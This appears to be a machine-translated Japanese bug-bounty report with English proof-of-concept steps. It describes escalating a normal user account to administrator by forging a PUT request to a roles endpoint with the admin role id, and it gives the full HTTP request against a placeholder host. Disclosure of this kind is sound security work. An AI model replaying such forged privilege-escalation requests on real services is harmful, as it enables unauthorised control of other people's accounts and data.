ソース:
訳:
ここでは、リクエストを偽造することで自分自身を管理者として昇格させることができ。
詳細: ユーザーアカウントにログインして、URL でユーザー編集エンドポイントにアクセスしようとしましたが、管理者ではないため許可されず。
それで私はリクエストを偽造して、管理者のみに許可されたアクションを実行しようとしました//説明を偽造しまふ。
- ユーザーを降格させようとしましたが、403 になりました
- 同じ403ユーザーを削除しようとしました
- ユーザーを招待しようとしましたが、まだ同じ 403
ユーザーの詳細を編集するオプションがあるため、そのリクエストを偽造することで他のユーザーの詳細を変更することはできませんが、それでも詳細を変更できるバグがあるため、一時停止して、エンドポイントからのみ詳細を変更できるかどうかを考えました。
管理者として承認されている場合、自分を管理者として宣伝できる可能性があります。
ユーザーアカウントから、自分を管理者として宣伝できるリクエストを作成して送信すると、200 を取得して自分を宣伝できるようになりました。
#POC
attack senario
step1: user login in into to there account
step2: now user need to intercept any request to get the cookie and csrf token
step3: now user need to send that request to repeater and need forge the request as
PUT /v1/myaccountapi/billing/customers/users/our-user-id/roles HTTP/2
Host: app.example.com
Cookie: cookie*********
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.example.com/pages/myaccount/settings/account
Content-Type: application/json;charset=utf-8
X-Csrf-Token: csrf-token
Content-Length: 3
Origin:https://app.example.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Connection: close
[role-id]
リピーターユーザーでは、自分自身のユーザー ID、Cookie、CSRF トークン、ロール ID を置き換えるだけで済みます。
ここでは管理者ロールの ID は 2 で。
step4: once forge request is ready user just need to send the request and user is promote to admin
攻撃前
New Userを追加が出来るようなって
ほなほな。